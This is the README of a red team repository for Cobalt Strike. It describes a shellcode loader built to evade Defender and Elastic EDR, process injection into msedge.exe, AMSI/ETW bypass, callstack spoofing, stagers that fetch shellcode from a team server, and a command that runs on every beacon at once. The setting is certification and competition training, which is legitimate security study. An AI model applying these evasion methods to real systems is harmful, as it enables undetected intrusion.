Various resources to enhance Cobalt Strike's functionality and its ability to evade antivirus/EDR detection. Includes the custom tooling I used when pursuing the Certified Red Team Lead (CRTL) certification.
For my Red Team Ops I and II cheat sheets, check out my cheat sheets repo.
- loader ⇒ used to bypass Windows Defender and Elastic EDR detections to run Cobalt Strike beacon shellcode
<protocol>_x64.xprocess.bin
- uses NtMapViewOfSection technique for shellcode injection
- spawns and injects into msedge.exe by default, though you could easily change this
- crtl.profile ⇒ malleable C2 profile used on CRTL exam, based on webbug.profile
- mwccdc.profile ⇒ malleable C2 profile used for MWCCDC regionals in 2024, based on microsoftupdate_getonly.profile
- sleepmask ⇒ Cobalt Strike sleep mask kit modifications to spoof legitimate msedge.exe thread callstack
- process_inject ⇒ Cobalt Strike process injection kit modifications that implement NtMapViewOfSection technique - not necessary since this option is available in the malleable C2 profile, but it's a good example of how to use kernel32.dll and ntdll.dll Windows API function calls to create your own injection. I found concrete examples of this to be severely lacking on the internet.
- powerpick.cs ⇒ C# code for running unmanaged PowerShell, providing the PowerShell command as an argument(s) - compatible with inline-x.cna
- inline-x.cna ⇒ modified inlineExecute-Assembly cna file that makes running .NET assemblies and PowerShell inline easier
- command-all.cna ⇒ execute
run
orshell
command on all active Cobalt Strike beacons, without having to interact with each one individually
Note: When building powerpick.cs, you'll have to add a reference to System.Management.Automation.dll, which is located in C:\Program Files (x86)\Reference Assemblies\Microsoft\WindowsPowerShell\<version>
- EXE ⇒ standard Windows executable
- Service ⇒ Windows service executable
Note: beaconsvc.cpp gets caught by Elastic static detection when compiled, so you might have to modify it. You can also run the standard EXE as a service, and it'll throw an error but still spawn the beacon.
- Download Stager ⇒ download shellcode from file hosted on Cobalt Strike team server over HTTPS
- Read Stager ⇒ read shellcode from disk, by default C:\Windows\beacon.bin but you can change this
- Stageless ⇒ include shellcode directly in PE as a resource (in .rsrc section) - requires encoding the shellcode so it's not caught by EDR
- (stageless only) generate encoded Cobalt Strike shellcode file with encoder.py - see comments for more info
- open .sln file in Visual Studio
- (stageless only) follow instructions in encoder.py to include encoded shellcode file as a resource
- select your desired build
- Build Solution
- Change
$powerpickPath
to specify the path of your unmanaged PowerShell exe (built from powerpick.cs) - Change
$etw
and$amsi
as you see fit - I wanted it to always bypass AMSI and ETW, which is why I set these values to 1, though someone could argue this creates additional telemetry in cases where the AMSI/ETW bypass isn't necessary, and for this reason it's better to leave the default values at 0. - Load script into Cobalt Strike
- Execute .NET assembly inline with
x execute-assembly <exe> <args>
- Execute unmanaged PowerShell inline with
x powerpick <powershell>
- I made this compatible with
powershell-import
, but I noticed that using this method of importing scripts generally gets detected by EDR. If you'd like to remove this functionality altogether, comment/remove lines 74-76. - As an alternative, use
--import <script>
(eg.x --import https://example.com/PowerView.ps1 powerpick Get-Domain
). You can specify a local file on disk or remotely hosted file with http/https. This only supports importing one PowerShell script. I'm too lazy to extend the functionality to support multiple scripts when one per command is usually all you need.
- I made this compatible with
Note: I commented out the portions of the script that parse arguments in single (') and double quotes (") as a single argument because most of my tooling handles or requires these quotes. For example, the unmanaged PowerShell implementation powerpick.cs takes arguments passed in, converts them to one string, and runs that string. Treating multiple words as a single argument in PowerShell commands thus requires passing in those quotes as-is. You may run into instances where you do need to parse arguments in quotes as a single argument, much like you would providing quotes when running the .NET executable in a terminal. If this is the case, you are welcome to uncomment the code portions starting on line 87 and reload the script. In case you decide to do this, I modified the conditional (if statement) so it continues to pass quotes in as-is when running powerpick.
- Load script into Cobalt Strike
- Open Script Console
- Execute
run
on all active beacons withrun_all <exe> <args>
- Execute
shell
on all active beacons withshell_all <command>
My experience with AV/EDR evasion techniques and Cobalt Strike comes from the following:
- Zero-Point Security Red Team Ops II
- Maldev Academy
- Midwest Regional Collegiate Cyber Defense Competition (I'm a red team volunteer)
I also recommend checking out the Sektor7 Institute courses.
Two additional Beacon Object Files I found very useful that I wanted to give a shoutout to, both by TrustedSec:
I was careful to avoid any copyright infringement with the resources I publicly provided in this repo. Here are two areas where copyright might come into question:
- I include my modifications to the Cobalt Strike process injection and sleep mask kits from Fortra, which are closed-source. However, I only provided files to which I made modifications, and I replaced all portions of the code that were not my own with a comment stating redacted. Should you choose to use these resources, you'll have to copy my code portions over from this repo to the corresponding files in the kits.
- In my loader, I included code taken directly from the Zero-Point Security Red Team Ops II course. However, this code is publicly available and easily-obtainable online as well. Telling ChatGPT to "write C++ code using WinHTTP to download a file and save it to an std::vector<BYTE>" yields almost the exact same code for the Download function, and the NtMapViewOfSection technique is publicly documented in various locations, making use of the same Windows API function calls in the same order. Also keep in mind this repo doesn't come close to being a substitute for the course itself, which in my opinion is absolutely worth taking.